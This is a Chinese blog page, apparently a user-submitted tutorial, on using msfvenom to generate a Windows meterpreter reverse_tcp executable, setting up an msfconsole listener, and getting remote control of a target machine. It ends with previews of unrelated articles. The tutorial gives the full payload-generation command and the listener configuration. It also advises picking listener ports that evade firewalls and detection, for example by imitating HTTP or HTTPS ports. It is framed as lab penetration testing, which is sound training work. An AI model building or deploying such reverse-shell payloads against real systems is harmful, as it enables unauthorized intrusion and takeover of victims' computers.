news 2026/6/10 15:37:53

使用metasploit生成payload并进行远程控制

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
使用metasploit生成payload并进行远程控制

Metasploit 是一款开源的渗透测试与漏洞利用框架,由 Rapid7 公司维护,是信息安全领域(尤其是渗透测试、漏洞研究)最常用的工具之一。它的核心功能是帮助安全人员合法地模拟黑客攻击,以评估目标系统的安全性,发现并修复潜在漏洞。

生成payload:

例如:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.113.136 lport=5000 -f exe -o /root/payload.exe

其中参数:

Msfvenom:用于生成恶意payload的工具

用到参数-p-f-o

-p, –payload Payload to use;指定哪些有效载荷生成

本例中 windows/meterpreter/reverse_tcp :用于Windows平台的反向远程控制程序

-f, –format Output format;指定有效载荷的格式

本例中 exe 生成Windows系统的可执行文件

-o, –out Save the payload;指定保存位置

本例中 /root/payload.exe

LHOST:是 “Local Host” 的缩写,指控制端(这里是 Kali Linux 主机)的 IP 地址(图中为192.168.113.136)。目标主机运行生成的payload.exe后,会主动向这个 IP 发起连接,从而建立控制会话。

LPORT:是 “Local Port” 的缩写,指控制端监听的端口(图中为5000)。Kali 需在这个端口上启动监听程序,等待目标主机的连接请求。

图示为成功生成了在5000端口运行的payload。

开启metasploit的交互式命令控制台msfconsole进行配置:

配置payload:windows/meterpreter/reverse_tcp

配置lhost:kali ip

配置lport:5000

如图所示为配置好的payload,键入run开启监听。

如图所示为生成的payload,使用文件传输命令将其从http下载到本机Windows

windows开始运行payload.exe后,看到kali命令行中成功连接信息

此时我们就可以通过meterpreter对目标Windows系统进行远程控制了。

关于监听端口的选择:

在渗透测试中选择监听端口(LPORT)需要综合考虑可用性、隐蔽性、目标环境限制等因素,以下是具体原则和建议:

一、监听端口选择的核心原则
  1. 避免常用系统端口

    • 不要选择1-1024范围内的知名端口(如80HTTP、443HTTPS、22SSH 等):这些端口可能被目标防火墙默认放行,但也可能被控制端本地服务占用,或被安全设备标记为 “高风险端口”。
    • 优先选择1024-65535非知名端口(如444455558888等),降低被检测的概率。
  2. 避开目标环境的拦截规则

    • 若已知目标防火墙 / 安全组的策略,选择其放行的端口(例如目标允许80803389等端口的出站流量,则可优先选这些端口)。
    • 避免目标常用的 “黑名单端口”(如部分企业会拦截44445555等渗透测试常用端口)。
  3. 确保控制端本地端口未被占用

    • 选择前可先用
      netstat -tulpn | grep
      端口号检查 Kali 本地是否已占用该端口,避免端口冲突导致监听失败。
二、推荐的常用监听端口

渗透测试常用(相对隐蔽且少被占用):44445555666688889999

仿合法服务端口(增强隐蔽性):8080(仿 HTTP 服务)、8443(仿 HTTPS 服务)、1080(仿代理服务);

随机高端口:直接选择10000-60000之间的随机端口(如2345634567),进一步降低被识别的概率。

三、注意事项

同一控制端同时监听多个 payload 时,需使用不同的 LPORT,避免端口冲突;

若目标有严格的出站端口限制,可尝试使用443(HTTPS)、80(HTTP)等 “通用放行端口”,但需确保控制端本地未占用这些端口。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/10 16:48:54

Linux编程网络基础(二)

文章目录 一、源IP和目的IP二、认识端⼝号1.端口号是传输层协议的内容2.端口号范围划分3.“端口号”与“进程ID”4、源端口号和目的端口号 三、Socket四、传输层的典型代表1.TCP协议2.UDP协议 五、网络字节序 一、源IP和目的IP 数据从你的主机(源IP)传输到目标主机(目的IP)并不…

作者头像 李华
网站建设 2026/6/10 2:56:42

工厂模式详解

在设计模式中,工厂模式属于创建型模式,核心是封装对象的创建过程,降低代码耦合度。根据抽象程度和应用场景的不同,工厂模式主要分为 3 种,由简单到复杂依次是:一、简单工厂模式(Simple Factory&…

作者头像 李华
网站建设 2026/6/9 19:55:19

AI驱动的论文查重率管理:初稿至定稿的完整解决方案

在学术写作过程中,查重率是一个关键指标,直接影响研究成果的认可度。如何有效降低重复率成为研究者面临的重要挑战。随着技术进步,多款智能工具应运而生,为学术工作者提供了高效便捷的降重解决方案。这些工具通过先进的算法处理文…

作者头像 李华
网站建设 2026/6/7 6:28:26

三十六: 验证签名

三十六: 验证签名 验证签名步骤: 1:得到一个消息: message: 2:把消息进行keccak256得到hash: hash(message) 3: 把消息进行keccak256得到hash进行链上签名: sign(hash(message), private key) | offchain 4:使用recover验证:ecrecover(hash(message)

作者头像 李华
网站建设 2026/6/10 16:50:37

DAY 39 Dataset和Dataloader

一、数据介绍 CIFAR 是机器学习和计算机视觉领域中广泛使用的图像分类基准数据集,由加拿大高级研究学院(Canadian Institute for Advanced Research,CIFAR)的研究团队发布,主要用于小尺寸图像的分类任务,是…

作者头像 李华
网站建设 2026/6/9 20:38:32

MouseTester:专业鼠标性能检测工具完全攻略

MouseTester:专业鼠标性能检测工具完全攻略 【免费下载链接】MouseTester 项目地址: https://gitcode.com/gh_mirrors/mo/MouseTester 还在为鼠标反应迟钝、指针漂移而困扰吗?MouseTester作为一款基于C#开发的Windows桌面应用,能够通…

作者头像 李华